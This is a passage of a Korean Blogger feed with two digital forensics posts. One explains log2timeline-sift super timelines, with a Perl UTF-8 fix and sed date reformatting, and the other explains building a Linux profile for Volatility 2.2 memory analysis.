&lt;br /&gt;
&lt;b&gt;Digital Forensic SIFTing: Colorized Super Timeline Template for Log2timeline Output Files&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;http://computer-forensics.sans.org/blog/2012/01/25/digital-forensic-sifting-colorized-super-timeline-template-for-log2timeline-output-files&quot;&gt;http://computer-forensics.sans.org/blog/2012/01/25/digital-forensic-sifting-colorized-super-timeline-template-for-log2timeline-output-files&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Spluk를 이용한 Supertimeline 작성에 관한 글도 있는데요..&lt;br /&gt;
원본과 함께 Forensic Insight 멤버인 도루묵군이 작성한 문서도 소개해드리겠습니다. ;)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Forensic timeline Splunking&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;http://kleinco.com.au/thoughts-events/item/forensic-timeline-splunking&quot;&gt;http://kleinco.com.au/thoughts-events/item/forensic-timeline-splunking&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Forensic Insight Weekly Seminar Slides - Supertimeline+Splunk by dorumugs&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;http://forensicinsight.org/archives/912&quot;&gt;http://forensicinsight.org/archives/912&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
log2timeline을 통해 타임라인 작성시 다음과 같이 csv 파일로 결과를 확인하실 수 있습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsVFWyeHWmJzHtoIfFVYs6lxVo5Wo6_Tn1BVN0PbR7EE3udcEzW0wOlI7fXHwXj6BeG3KzhljuyXMTCDPkJN9n9tTOaQfuuM2bCO30fpjkV3iNPk8OjBRQO99-JRLHhx5shc8ZM-1UXw/s1600/supertimeline_01.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;217&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsVFWyeHWmJzHtoIfFVYs6lxVo5Wo6_Tn1BVN0PbR7EE3udcEzW0wOlI7fXHwXj6BeG3KzhljuyXMTCDPkJN9n9tTOaQfuuM2bCO30fpjkV3iNPk8OjBRQO99-JRLHhx5shc8ZM-1UXw/s640/supertimeline_01.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
보시는 바와 같이 그닥 보기 좋은 형태는 아닙니다.&lt;br /&gt;
FileName 컬럼의 데이터들이 분리되어 표시되면 좋을텐데 한꺼번에 들어가 있는 점이나 날짜(Date)가 정렬이 귀찮은 형태로 되어 있습니다. (제가 엑셀 기술이 부족하여 그럴지도 모르겠지만요..)&lt;br /&gt;
&lt;br /&gt;
아무튼 이런한 점을 SANS SIFT에 포함된 log2timeline-sift가 보완해주었습니다.&lt;br /&gt;
다음 그림은 log2timeline-sift를 통해 추출한 파일입니다.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbdBvGjc0FJHrU__f8x0380olMW7_nxlXIQlp75zFHyePlJZcTkef7ymbIEw5P31yQR8XCa38al4rTxgZiXdZpql3wJzsT5IgdJxu0sOrBWFQ6K4TfWD5noQiQlHQuRg8GUbYrM9Bgjw/s1600/supertimeline_02.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;184&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbdBvGjc0FJHrU__f8x0380olMW7_nxlXIQlp75zFHyePlJZcTkef7ymbIEw5P31yQR8XCa38al4rTxgZiXdZpql3wJzsT5IgdJxu0sOrBWFQ6K4TfWD5noQiQlHQuRg8GUbYrM9Bgjw/s640/supertimeline_02.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
다만, log2timeline-sift 실행시 다음과 같은 에러가 발생하였습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;root@SIFT-Workstation:/mnt/hgfs/E# &lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;log2timeline-sift -p 0 -i win2k3.dd&lt;/span&gt;&lt;/b&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;[LOG2TIMELINE-SIFT] MFT directly callable, no need for special parsing.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;[PreProcessing] Unable to determine the default browser for user qwer&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;[PreProcessing] Unable to determine the default browser for user networkservice&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;[PreProcessing] Unable to determine the default browser for user hacker2&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;[PreProcessing] Unable to determine the default browser for user administrator&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;[PreProcessing] Unable to determine the default browser for user hacker&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;[PreProcessing] Unable to determine the default browser for user default user&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;[PreProcessing] Unable to determine the default browser for user malwarel4b&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;[PreProcessing] Unable to determine the default browser for user guest&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;[PreProcessing] Unable to determine the default browser for user localservice&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;[PreProcessing] Hostname is set to WIN2K3&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;Wide character in print at /usr/share/perl5/Log2t/PreProc/win_sysinfo.pm line 172.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;[PreProcessing] The timezone according to registry is: (대한민국표준시) 대한민국 표준시&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;[PreProcessing] The timezone settings are NOT overwritten so the settings might have to be adjusted.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;[PreProcessing] The default system browser is: : IEXPLORE.EXE (&quot;C:\Program Files\Internet Explorer\iexplore.exe&quot; -nohome)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;Local timezone is: Asia/Seoul (KST)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;Local timezone is: Asia/Seoul (KST)&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;Loading output module: csv&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: red; font-family: consolas; font-size: x-small;&quot;&gt;&lt;b&gt;Wide character in print at /usr/bin/log2timeline-sift line 400.&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;Wide character in print at /usr/bin/log2timeline-sift line 400.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;Wide character in print at /usr/bin/log2timeline-sift line 400.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;Wide character in print at /usr/bin/log2timeline-sift line 400.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;Wide character in print at /usr/bin/log2timeline-sift line 400.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;Wide character in print at /usr/bin/log2timeline-sift line 400.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;Wide character in print at /usr/bin/log2timeline-sift line 400.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;Wide character in print at /usr/bin/log2timeline-sift line 400.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;Wide character in print at /usr/bin/log2timeline-sift line 400.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;Wide character in print at /usr/bin/log2timeline-sift line 400.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;...(snip)...&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
해당 에러는 유니코드 처리시 발생되는 에러로 log2timeline-sift의 일부 코드를 수정하면 됩니다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red; font-family: consolas; font-size: x-small;&quot;&gt;# create the timeline file // 이부분을 아래와 같이 수정&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;open( TF, &#39;&amp;gt;&#39; . $store_point . &#39;/&#39; . $file_name . &#39;_bodyfile.txt&#39; ) or die( &#39;Unable to create the bodyfile &#39; . $store_point . &#39;/&#39; . $file_name . &#39;_bodyfile.txt, not enough ac &amp;nbsp; &amp;nbsp;cess rights?&#39;);&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red; font-family: consolas; font-size: x-small;&quot;&gt;# create the timeline file // 이렇게...&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;my $ofile = $store_point . &#39;/&#39; . $file_name . &#39;_bodyfile.txt&#39;;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;open( TF, &quot;&amp;gt;:utf8&quot;, $ofile) or die( &#39;Unable to create the bodyfile &#39; . $store_point . &#39;/&#39; . $file_name . &#39;_bodyfile.txt, not enough access rights?&#39;);&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
log2timeline-sift의 결과 파일은 아래와 같은 형태를 띄고 있습니다.&lt;br /&gt;
&lt;span style=&quot;font-family: consolas;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;root@SIFT-Workstation:/cases/timeline-output-folder# head win2k3_bodyfile.txt&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;date,time,timezone,MACB,source,sourcetype,type,user,host,short,desc,version,filename,inode,notes,format,extra&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;05/14/2009&lt;/span&gt;&lt;/b&gt;,19:43:54,KST,MACB,FILE,NTFS $MFT,$SI [MACB] time,-,WIN2K3,C:/$MFT,C:/$MFT,2,C:/$MFT,0, ,Log2t::input::mft,-&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;05/14/2009,19:43:54,KST,MACB,FILE,NTFS $MFT,$SI [MACB] time,-,WIN2K3,C:/$MFTMirr,C:/$MFTMirr,2,C:/$MFTMirr,1, ,Log2t::input::mft,-&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;05/14/2009,19:43:54,KST,MACB,FILE,NTFS $MFT,$SI [MACB] time,-,WIN2K3,C:/$LogFile,C:/$LogFile,2,C:/$LogFile,2, ,Log2t::input::mft,-&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;05/14/2009,19:43:54,KST,MACB,FILE,NTFS $MFT,$SI [MACB] time,-,WIN2K3,C:/$Volume,C:/$Volume,2,C:/$Volume,3, ,Log2t::input::mft,-&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;05/14/2009,19:43:54,KST,MACB,FILE,NTFS $MFT,$SI [MACB] time,-,WIN2K3,C:/$AttrDef,C:/$AttrDef,2,C:/$AttrDef,4, ,Log2t::input::mft,-&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;05/14/2009,19:43:54,KST,...B,FILE,NTFS $MFT,$SI [...B] time,-,WIN2K3,C:/.,C:/.,2,C:/.,5, ,Log2t::input::mft,-&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;04/17/2012,18:07:32,KST,.A..,FILE,NTFS $MFT,$SI [.A..] time,-,WIN2K3,C:/.,C:/.,2,C:/.,5, ,Log2t::input::mft,-&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;04/17/2012,15:13:02,KST,M.C.,FILE,NTFS $MFT,$SI [M.C.] time,-,WIN2K3,C:/.,C:/.,2,C:/.,5, ,Log2t::input::mft,-&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-family: consolas; font-size: x-small;&quot;&gt;05/14/2009,19:43:54,KST,MACB,FILE,NTFS $MFT,$SI [MACB] time,-,WIN2K3,C:/$Bitmap,C:/$Bitmap,2,C:/$Bitmap,6, ,Log2t::input::mft,-&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
여기서 한가지 더 해결해야 할 문제는 mm/dd/yyyy 형태의 날짜 형식을 &amp;nbsp;yyyy-mm-dd로 변경하는 것이었습니다. 기본 형태인 mm/dd/yyyy를 가지고 정렬하였더니 시간순서가 원하는대로 나오지 않아 불편하여 변경하게 되었습니다. 방법은 아주 간단합니다.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: red; font-family: consolas; font-size: x-small;&quot;&gt;&lt;b&gt;# sed -n &#39;1p&#39; win2k3_bodyfile.txt &amp;gt; win2k3_bodyfile_convert.csv&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: red; font-family: consolas; font-size: x-small;&quot;&gt;&lt;b&gt;# sed -n -e &#39;/KST/ s/\([0-9]*\)\/\([0-9]*\)\/\([0-9]*\)/\3-\1-\2/p;&#39; win2k3_bodyfile.txt &amp;gt;&amp;gt; win2k3_bodyfile_convert.csv&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
포스팅 초반에 있는 두번째 링크의 Colorized Super Timeline Template를 적용하면 다음과 같이 알록달록하게 나오게 됩니다. (date, time으로 정렬하였습니다)&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3qI0FSEVIzBshjsY0ThbZ4wC2QdIW_z3Qy_iwRSkAgmcNix40ygjz5ljz-doeMXSJwzLhu8SC6ygSoXqUFDnqGm4n1pfsqAkUOL8EH0_GAzvpouKd5sPMx-TFa0doi26o7yYtaqKLow/s1600/supertimeline_03.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;316&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi3qI0FSEVIzBshjsY0ThbZ4wC2QdIW_z3Qy_iwRSkAgmcNix40ygjz5ljz-doeMXSJwzLhu8SC6ygSoXqUFDnqGm4n1pfsqAkUOL8EH0_GAzvpouKd5sPMx-TFa0doi26o7yYtaqKLow/s640/supertimeline_03.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
단순히 보여주기식의 알록달록함이 아니라는 것으 명심하시고 보셔야 합니다.&lt;br /&gt;
자칫 그냥 넘어가 버릴 수 있는 중요한 정보들에 대해서 색깔로 구분해서 놓치지 말라는 의미인 것이죠.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://malwarel4b.blogspot.com/feeds/4449845327449597492/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://malwarel4b.blogspot.com/2012/11/supertimeline-using-log2timeline-sift.html#comment-form' title='2개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/4449845327449597492'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/53199605500372722/posts/default/4449845327449597492'/><link rel='alternate' type='text/html' href='http://malwarel4b.blogspot.com/2012/11/supertimeline-using-log2timeline-sift.html' title='SuperTimeline using log2timeline-sift'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/11107488344732828605</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsVFWyeHWmJzHtoIfFVYs6lxVo5Wo6_Tn1BVN0PbR7EE3udcEzW0wOlI7fXHwXj6BeG3KzhljuyXMTCDPkJN9n9tTOaQfuuM2bCO30fpjkV3iNPk8OjBRQO99-JRLHhx5shc8ZM-1UXw/s72-c/supertimeline_01.png" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-53199605500372722.post-8660730945703352283</id><published>2012-09-25T10:50:00.001+09:00</published><updated>2012-11-30T23:45:44.814+09:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="linux memory forensic"/><category scheme="http://www.blogger.com/atom/ns#" term="memory forensics"/><category scheme="http://www.blogger.com/atom/ns#" term="volatility"/><category scheme="http://www.blogger.com/atom/ns#" term="포렌식"/><title type='text'>Volatility 2.2 RC2 - Linux Profile 생성</title><content type='html'>&lt;br /&gt;
몇일전 Volatility 2.2 RC2부터 Linux 메모리 덤프를 지원한다는 글을 접하게 되었습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.infosecisland.com/blogview/22406-Analyzing-the-Average-Coder-Rootkit-Bash-History-and-Elevated-Processes-with-Volatility.html&quot;&gt;http://www.infosecisland.com/blogview/22406-Analyzing-the-Average-Coder-Rootkit-Bash-History-and-Elevated-Processes-with-Volatility.html&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
2.2 RC2부터 지원하는 내용은 아래 링크에서 확인하실 수 있으며&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://code.google.com/p/volatility/wiki/Release22&quot;&gt;http://code.google.com/p/volatility/wiki/Release22&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
Linux 메모리 덤프를 분석하기 위해서는 profile을 만들어줘야 합니다.&lt;br /&gt;
(무식하게 첫번째 링크를 그냥 따라해 봤지만 역시나 안되더군요...혹시나 하는 마음에 -_-;;)&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://code.google.com/p/volatility/wiki/LinuxMemoryForensics&quot;&gt;http://code.google.com/p/volatility/wiki/LinuxMemoryForensics&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;1. 필요한 패키지 설치&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;- dwarfdump&lt;/b&gt;&lt;br /&gt;
&amp;nbsp; Debian/Ubuntu 계열에서 dwarfdump를 설치하시면 되고&lt;br /&gt;
&amp;nbsp; OpenSuSE, Fedora 그리고 그 외 배포판에서는 libdwarf-tools를 설치하시면 됩니다.&lt;br /&gt;
&lt;b&gt;- GCC/make&lt;/b&gt;&lt;br /&gt;
&amp;nbsp; 대부분 설치되어 있으실 것이고 Debian/Ubuntu 계열에서는 build-essential을 설치하시면 됩니다.&lt;br /&gt;
&amp;nbsp; (build-essential을 꼭 설치해야 하는지 확인 안했습니다.)&lt;br /&gt;
&lt;b&gt;- kernel-devel&lt;/b&gt;&lt;br /&gt;
&amp;nbsp; 커널 모듈 빌드를 위한 헤더 파일들이 필요합니다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;2. Volatility Source 다운로드&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://code.google.com/p/volatility/downloads/list&quot;&gt;http://code.google.com/p/volatility/downloads/list&lt;/a&gt;
&lt;br /&gt;
&lt;br /&gt;
다운로드 하시면 됩니다. 또는 svn으로 받으셔도 됩니다.&lt;br /&gt;
&lt;br /&gt;
# svn checkout http://volatility.googlecode.com/svn/trunk/ volatility-read-only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;3. profile 생성&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
리눅스용 프로파일은 커널 데이터 구조와 디버그 심볼로 이루어진 압축 파일 형태로 만들면 됩니다.&lt;br /&gt;
이는 Volatility가 커널 데이터 구조와 디버그 심볼을 통해 필요한 정보를 찾고 해석하기 때문입니다.&lt;br /&gt;
앞으로 대부분의 리눅스 커널에 대한 프로파일을 제공한다고 하는데요...일단은 필요한거 만들어서 쓰랍니다.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;- vtypes 생성
&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# cd volatility-2.2-rc2/tools/linux&lt;br /&gt;
# make&lt;br /&gt;
# head module.dwarf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
vtypes 생성은 위 명령만 실행하면 됩니다만...&lt;br /&gt;
약간의 에러가 발생할 수 있으니 에러 메시지 잘 보시고 필요한 헤더 파일을 필요한 위치에 복사하시거나 링크를 걸면 됩니다.&lt;br /&gt;
&lt;br /&gt;
테스트는 Ubuntu 11.10에서 했습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;- Symbols 가져오기&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
심볼은 System.map 파일 안에 있으며 /boot 디렉토리에 있습니다.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;- profile 만들기&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# cd volatility-2.2-rc2&lt;br /&gt;
# zip volatility/plugins/overlays/linux/LinuxUbuntu1110.zip tools/linux/module.dwarf /boot/System.map-3.0.0-20-generic&lt;br /&gt;
&amp;nbsp; adding: tools/linux/module.dwarf (deflated 89%)&lt;br /&gt;
&amp;nbsp; adding: boot/System.map-3.0.0-20-generic (deflated 74%)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
리눅스용 프로파일은 make시 생성된 dwarf 파일과 심볼 정보를 가지고 있는 System.map 파일을 zip 파일 형태로 압축하면 됩니다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
root@LUCKYSTRIKE:/data/forensics/volatility-2.2-rc2# ls -l volatility/plugins/overlays/&lt;br /&gt;
total 732&lt;br /&gt;
-rw-r--r-- 1 demantos demantos &amp;nbsp; 8527 2012-09-05 02:29 basic.py&lt;br /&gt;
-rw-r--r-- 1 root &amp;nbsp; &amp;nbsp; root &amp;nbsp; &amp;nbsp; &amp;nbsp;11703 2012-09-24 13:40 basic.pyc&lt;br /&gt;
-rw-r--r-- 1 demantos demantos &amp;nbsp; &amp;nbsp; &amp;nbsp;0 2012-06-04 03:04 __init__.py&lt;br /&gt;
-rw-r--r-- 1 root &amp;nbsp; &amp;nbsp; root &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;161 2012-09-24 13:40 __init__.pyc&lt;br /&gt;
drwxr-xr-x 2 demantos demantos &amp;nbsp; 4096 2012-09-24 13:40 linux&lt;br /&gt;
-rw-r--r-- 1 demantos demantos &amp;nbsp; &amp;nbsp;838 2012-09-05 02:19 native_types.py&lt;br /&gt;
-rw-r--r-- 1 root &amp;nbsp; &amp;nbsp; root &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;769 2012-09-24 13:40 native_types.pyc&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;-rw-r--r-- 1 root &amp;nbsp; &amp;nbsp; root &amp;nbsp; &amp;nbsp; 702084 2012-09-24 17:41 Ubuntu1110.zip&lt;/span&gt;&lt;br /&gt;
drwxr-xr-x 2 demantos demantos &amp;nbsp; 4096 2012-09-24 13:40 windows&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
프로파일 생성 및 사용 가능 여부는 --info 옵션을 통해서 확인 가능합니다.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMS3FaFZrXTHtsB-NAskYEEDKRj8cGX5P8N9ESiAkSijsl_yAhDXf_1XSBnCJ_gAmEI8I5DEWRTgf2Qzh4UeZWkXjwJUgN2pmak2l-pZ3Nx-jmyEDqwwJmvikmLFCgrPI_2T_ZORf0ZA/s1600/vol_linux_01.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMS3FaFZrXTHtsB-NAskYEEDKRj8cGX5P8N9ESiAkSijsl_yAhDXf_1XSBnCJ_gAmEI8I5DEWRTgf2Qzh4UeZWkXjwJUgN2pmak2l-pZ3Nx-jmyEDqwwJmvikmLFCgrPI_2T_ZORf0ZA/s1600/vol_linux_01.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
리눅스용 플러그인은 다음과 같이 linux_ 라는 명칭으로 시작되게끔 명명되어 있습니다.&lt;br /&gt;
&lt;br /&gt;
